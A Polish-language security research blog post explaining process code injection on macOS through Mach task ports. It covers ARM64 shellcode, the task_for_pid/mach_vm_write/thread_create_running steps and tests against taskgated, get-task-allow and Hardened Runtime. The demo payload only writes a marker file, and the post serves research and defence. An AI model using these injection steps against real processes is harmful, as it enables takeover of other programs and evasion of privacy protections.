Task Injection w macOS

Ten artykuł jest rozwinięciem mojej poprzedniej pracy na temat Mach IPC Security w systemie macOS, w którym opisałem koncepcję Task-ów i Procesów oraz sposób, w jaki są one ze sobą powiązane.
W poprzednim artykule nie pokazałem, jak osoba atakująca może wykorzystać dostęp do Task Port-u atakowanego procesu. Tutaj zademonstruje wstrzykiwanie kodu do Task-ów i kilka zabezpieczeń macOS, które przed nimi chronią. Miłej lektury!
Task Injection od strony kodu
Technika wstrzykiwanie kodu do Task’a wymaga uzyskania jego portu, odpowiedniego zarządzania pamięcią i następnie wykonania kodu w procesie docelowym. Aby wstrzyknąć nasz kod, musimy przygotować go w asemblerze ARM.
Wstrzykiwanie kodu powłoki do procesu docelowego obejmuje kilka kroków po uzyskaniu Task Port-u procesu docelowego. Zaimplementowałem je w funkcjach map_memory
oraz inject_code
.
macOS Shellcode
Poniższy shellcode demonstruje sposób utworzenia pliku /tmp/research_success
, zapisania w nim ciągu „pwn\n
” i zakończenia procesu:
__attribute__((naked)) void shellcode() {
__asm__(
// Ustawianie stosu - alokacja 32 bajtów
"sub sp, sp, #0x20\n"
// Otwieranie pliku
"adr x0, 1f\n" // Ładuj nazwę pliku do x0
"mov x1, #0x601\n" // Flagi: O_CREAT|O_WRONLY|O_TRUNC
"mov x2, #0666\n" // Uprawnienia pliku: rw-rw-rw-
"mov x16, #5\n" // Numer wywołania systemowego open()
"svc #0x80\n" // Wywołanie systemowe
// Zapis do pliku
"mov x19, x0\n" // Zapisz deskryptor pliku
"adr x1, 2f\n" // Ładuj adres treści do zapisania
"mov x2, #4\n" // Długość treści (z nową linią)
"mov x16, #4\n" // Numer wywołania systemowego write()
"svc #0x80\n"
// Czyste zakończenie
"mov x0, #0\n" // Kod wyjścia 0
"mov x16, #1\n" // Numer wywołania systemowego exit()
"svc #0x80\n"
// Sekcja danych
".align 4\n" // Wyrównanie danych do granicy 4 bajtów
"1: .asciz \"/tmp/research_success\"\n" // Nazwa pliku zakończona nullem
"2: .asciz \"pwn\\n\"\n" // Treść do zapisania
);
}
Atrybut attribute((naked)) gwarantuje, że kompilator nie dodaje dodatkowych funkcji, co zapewnia pełną kontrolę nad generowanym kodem asemblera. Wyrównanie struktur danych („.align 4\n
”) w pamięci jest niezbędne dla zgodności z architekturą ARM64.
Krok 1: Uzyskanie portu Task’a procesu docelowego
Task Port to klucz do interakcji z docelowym procesem. Możemy go zdobyć używając task_for_pid:
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
mach_task_self
() odnosi się do task portu procesu wywołującego (naszego programu)target_pid
to identyfikator procesu (PID) docelowego, z którym chcemy nawiązać interakcjętask
przechowywuje task port procesu docelowego, jeśli funkcja zakończy się powodzeniem
To kluczowy krok, który jest chroniony przez serwis taskgated
. Żadne z następnych kroków nie będzie działać bez jego wykonania.
Krok 2: Alokacja pamięci w procesie docelowym
Do przechowywania shellcodu w pamięci procesu docelowego konieczne jest alokowanie pamięci w przestrzeni adresowej tego procesu. Używamy w tym celu funkcji mach_vm_allocate:
kr = mach_vm_allocate(task, addr, aligned_size, VM_FLAGS_ANYWHERE);
task
: Task Port procesu docelowegoaddr
: Wskaźnik na bazowy adres alokowanej pamięcialigned_size
: Rozmiar alokacji wyrównany do rozmiaru strony systemowejVM_FLAGS_ANYWHERE
: Pozwala jądru wybrać adres alokacji
Krok 3: Zapis shellcode’u do alokowanej pamięci
Zapisujemy shellcode do alokowanego obszaru za pomocą mach_vm_write:
kr = mach_vm_write(task, *addr, (vm_offset_t)data, size);
task
: Task Port procesu docelowegoaddr
: Adres alokowanej pamięcidata
: Wskaźnik na shellcodesize
: Rozmiar shellcode’u
Krok 4: Ustawienie uprawnień na alokowanej pamięci
Pamięć musi mieć odpowiednie uprawnienia do wykonania shellcode’u. Funkcja mach_vm_protect umożliwia zmianę atrybutów ochrony:
kr = mach_vm_protect(task, *addr, aligned_size, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
task
– Task Port procesu, w którym chcemy zmodyfikować uprawnienia pamięci.*addr
– wskaźnik do adresu początkowego zakresu pamięci, który ma zostać zmodyfikowany.aligned_size
– rozmiar pamięci (wyrównany do odpowiedniej granicy), dla której mają zostać zmienione uprawnienia.FALSE
– flaga wskazująca, że modyfikacja uprawnień ma dotyczyć bieżącego zadania, a nie zagnieżdżonych mapowań pamięci (ustawienie naTRUE
włącza dziedziczenie zmian).VM_PROT_READ | VM_PROT_EXECUTE
– zestaw uprawnień, które mają zostać nadane pamięci. W tym przypadku nadajemy możliwość odczytu i wykonywania w określonym zakresie adresów.
Krok 5: Tworzenie nowego wątku w procesie docelowym
Aby wykonać shellcode, tworzony jest nowy wątek w procesie docelowym z ustawionym wskaźnikiem instrukcji na adres shellcode’u. W tym celu należy użyć thread_create_running
:
arm_thread_state64_t thread_state = {0};
thread_state.__pc = remote_code; // Wskaźnik programu
thread_state.__sp = (remote_code + 0x1000) & ~0xFULL; // Wskaźnik stosu
thread_state.__x[29] = thread_state.__sp; // Wskaźnik ramki
thread_act_t new_thread;
kr = thread_create_running(task, ARM_THREAD_STATE64,(thread_state_t)&thread_state, ARM_THREAD_STATE64_COUNT, &new_thread);
task
: Task Port procesu docelowegoARM_THREAD_STATE64
: Określa architekturę i stan wątku
: Definiuje stan początkowy wątku (np. wskaźnik instrukcji, wskaźnik stosu)thread_state
new_thread
: Uchwyt do nowo utworzonego wątku
Stan wątku
Adres remote_code
określa punkt początkowy wykonania. Jest on ustalany podczas alokacji pamięci i wskazuje na początek shellcodu skopiowanego do pamięci procesu docelowego. Ustawienie tego adresu zapewnia, że licznik programu rozpocznie wykonywanie od punktu wejścia shellcode’u.
Wyrównanie wskaźnika stosu do granicy 16 bajtów jest wymagane przez ABI ARM64 w celu zapewnienia poprawnego działania wywołań funkcji i zgodności z oczekiwaniami systemowymi.
W ARM64 x29
jest wskaźnikiem ramki. Inicjalizacja go do wskaźnika stosu zapewnia spójne ustawienie stosu dla nowo utworzonego wątku.
Podsumowanie Programu
Oto podsumowanie pełnego procesu Task Injection. Pełny kod można znaleźć w Snake_Apple/X. NU/custom/mach_ipc/task_for_pid_inject.c
- Użytkownik określa docelowy PID.
- Program uzyskuje port Task’a za pomocą
task_for_pid
. - Pamięć jest alokowana w procesie docelowym.
- Shellcode jest zapisywany do alokowanej pamięci.
- Uprawnienia pamięci są ustawiane na wykonalne.
- Tworzony jest nowy wątek w procesie docelowym w celu wykonania shellcode’u.
W drugiej części artykułu przetestujemy, jak nasz program zadziała przeciwko różnym celom w macOS.
Task Injection od strony bezpieczeństwa
Task Injection w macOS polega na uzyskaniu Task Portu (mach_port_t) procesu docelowego w celu wykonania dowolnego kodu w jego przestrzeni adresowej. Po uzyskaniu portu zadania możemy:
- Alokować pamięć w procesie docelowym za pomocą
.mach_vm_allocate
- Zapisać shellcode lub payload używając
.mach_vm_write
- Ustawić uprawnienia wykonawcze za pomocą
.mach_vm_protect
- Utworzyć nowy wątek w procesie docelowym za pomocą
.thread_create_running
Jednakże, aby to osiągnąć, najpierw musimy uzyskać Task Port procesu.
Bezpieczeństwo Task Portów
Uzyskanie Task Portu innego procesu jest kontrolowane przez funkcję task_for_pid
, która jest zabezpieczona przez taskgated
. Sprawdza ona odpowiednie uprawnienia i przywileje użytkownika:
- Uprawnienia roota: Użytkownik root może wstrzykiwać kod do dowolnego procesu spoza tych które są oznaczone jako platform_binary i które nie mają ustawionj flagi Hardened Runtime.
- Dostęp oparty na uprawnieniach:
- Jeśli proces docelowy ma uprawnienie
com.apple.security.get-task-allow
, dowolny proces tego samego użytkownika może uzyskać jego Task Port. - Proces z uprawnieniem
com.apple.system-task-ports
może uzyskiwać dostęp do Task Portów innych procesów, z wyjątkiem jądra (PID 0). - Proces z uprawnieniem
com.apple.private.cs.debugger
może wstrzykiwać kod do procesów na poziomie tego samego użytkownika, które nie są utwardzone.
- Jeśli proces docelowy ma uprawnienie
- Port zadania jądra: Dostęp do Task Portu jądra (
task_for_pid(0)
) daje pełną kontrolę nad systemem.
Logika pozwalająca na task_for_pid
znajduje się w /usr/libexec/taskgated
dokładnie w subsystemie MIG 27000. Możemy uzyskać jego adres za pomocą parsera CrimsonUroboros --mig
:

Nie jest to łatwe do analizy, ponieważ większość symboli jest usunięta. Zostawmy to na osobny artykuł.
Alternatywa dla task_for_pid
Po skompromitowaniu procesu docelowego mamy pełną kontrolę nad jego pamięcią i wykonaniem. W takim przypadku, jeśli chcemy uzyskać dostęp do portu zadania skompromitowanego procesu, nie musimy używać task_for_pid
. Porty zadań mogą być ręcznie przenoszone za pomocą:
mach_port_insert_right
: Dodaje prawo wysyłania do portu Mach.
: Wysyła port zadania za pomocą wiadomości Mach.mach_msg
Jednak używanie Task Portów na tym etapie nie przynosi dodatkowych korzyści, chyba że chcemy umożliwić innemu procesowi kontrolowanie skompromitowanego procesu za pomocą Task Portu.
Hardened Runtime i Platform Binaries
Nawet root nie może wstrzyknąć kodu do procesów, które łączą binaria platformy Apple + Hardened Runtime, chyba że zostaną użyte specjalne uprawnienia lub exploit na poziomie jądra.
- Binaria platformy Apple (
), takie jakis_platform_binary
== 1launchd
i inne podpisane bezpośrednio przez Apple, są chronione przedtask_for_pid
.
codesign -v -v --test-requirement "=anchor apple" BINARY_TO_CHECK
- Hardened Runtime chroni przed wstrzykiwaniem kodu, wymuszając ścisłą weryfikację podpisu kodu (wstrzyknięty kod musi być podpisany tym samym certyfikatem, co binarium procesu, do którego wstrzykujemy).

Z punktu widzenia bezpieczeństwa ochrona
przed rootem jest bardzo ważna, ponieważ taka możliwość pozwala omijać zabezpieczenia System Integrity Protection (SIP) macOS. is_platform_binary
Z kolei Hardened Runtime ma kluczowe znaczenie dla mechanizmu TCC, ponieważ zapobiega modyfikowaniu aplikacji użytkownika nawet przez root’a.
Wstrzykiwanie do procesów użytkownika
Jeśli spróbujemy użyć naszego programu przeciwko procesowi, który uruchomiliśmy, nieutwardzonemu i bez uprawnień, operacja się nie powiedzie, jeśli nie uruchomimy programu wstrzykującego jako root:

W logach możemy zobaczyć, że operacja byłaby możliwa, gdybyśmy byli użytkownikiem root, lub nasz program byłby debugerem (posiadał com.apple.private.cs.debugger
), albo proces docelowy miałby uprawnienie com.apple.security.get-task-allow
. Przeanalizujmy to.
Tutaj podpiszemy crimson_server
wspomnianym uprawnieniem i spróbujemy ponownie wstrzyknąć do niego kod z tego samego poziomu dostępu użytkownika.
Najpierw musimy przygotować plik entitlements.plist
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
Następnie podpisujemy binarium tym uprawnieniem za pomocą poniższego polecenia:
codesign --entitlements entitlements.plist --force --sign - ./crimson_server

Jak widać poniżej, z tym ustawionym uprawnieniem możemy wstrzyknąć kod do procesu nawet bez uprawnień roota:

Debugowanie z uprawnieniami – lldb i debugserver
Możemy przetestować scenariusz debugera, używając lldb do przyłączenia się do crimson_server
. W logach systemowych podczas podczepienia się do procesu crimson_server możemy zauważyć:
lldb -p $(pgrep crimson_server)
// kernel: Allowing set_exception_ports from [debugserver] on [crimson_server] for entitled process/debugger
Sam lldb nie posiada odpowiednich uprawnień, ale polega na debugserver
, uprzywilejowanym procesie, który umożliwia interakcję z aplikacją docelową, ponieważ ma uprawnienie com.apple.private.cs.debugger
, które nadaje prawa debugowania:

Jednak to uprawnienie pozwala na debugowanie tylko procesów na tym samym poziomie użytkownika. Jeśli spróbujemy debugować proces innego użytkownika, operacja się nie powiedzie:
error: attach failed: tried to attach to process as user 'karmaz' and process is running as user 'low_user'
Wstrzykiwanie jako root
Jeśli spróbujemy użyć naszego programu jako root wobec dowolnego procesu uruchomionego bez flagi Hardened Runtime, niebędącego binarium platformy, operacja zakończy się sukcesem:

Wstrzykiwanie do procesu z Hardened Runtime nie jest możliwe, nawet jeśli ma odpowiednie uprawnienia:

Jednakże przyłączenie debugera i kontrolowanie przepływu wykonania jest całkowicie możliwe. Poniżej przyłączyłem lldb do procesu z Hardened Runtime i przkierowałem wykonanie do początku jego funkcji main()
żeby udowodnić, że jest to możliwe:

Aby podsumować, uprawnienie com.apple.security.get-task-allow
jest niezwykle niebezpieczne i może zostać wykorzystane przez atakującego z uprawnieniami roota do przejęcia przepływu wykonania takich aplikacji. Na innych systemach nie stanowiłoby to większego ryzyka, ponieważ atakujący już zdobył prawa roota, ale w macOS oznacza to, że ta luka projektowa może zostać użyta do obejścia niektórych zabezpieczeń TCC, jeśli użytkownik nada aplikacji dodatkowe uprawnienia.
Binaria Apple, czyli aplikacje platformy
Ostatnim scenariuszem jest wstrzykiwanie do binariów platformy. Spróbujmy z taskgated
:

Jak można zauważyć poniżej, operacja nie jest możliwa, ale komunikat logu sugeruje próbę z użyciem lldb. Efektem jest błąd:
error: attach failed: attach failed (Not allowed to attach to process. Look in the console messages (Console.app), near the debugserver entries, when the attach failed. The subsystem that denied the attach permission will likely have logged an informative message about why it was denied.)
Kiedy sprawdzimy logi systemowe, zobaczymy, że tylko debugger w trybie tylko do odczytu może się przyłączyć:
kernel: (AppleMobileFileIntegrity) macOSTaskPolicy: (com.apple.debugserver) may not get the task control port of (taskgated) (pid: 3762): (taskgated) is hardened, (taskgated) doesn't have get-task-allow, (com.apple.debugserver) is a declared debugger (com.apple.debugserver) is not a declared read-only debugger
To uniemożliwia kontrolowanie przepływu wykonania binariów podpisanych przez Apple, nawet z konta root. Skutecznie zapobiega to iniekcji kodu, która mogłaby umożliwić obejście SIP.
Podsumowanie
Jeśli ten wpis na blogu Cię zainteresował i interesujesz się ogólnie cyberbezpieczeństwem, zachęcam do regularnego odwiedzania naszego bloga AFINE, gdzie znajdziesz nowe informacje. Jeśli interesujesz się macOS i chcesz dowiedzieć się więcej, pamiętaj, aby dodać do zakładek repozytorium Snake_Apple, wszystkie artykuły mojego autorstwa na temat macOS będą tam podlinkowane.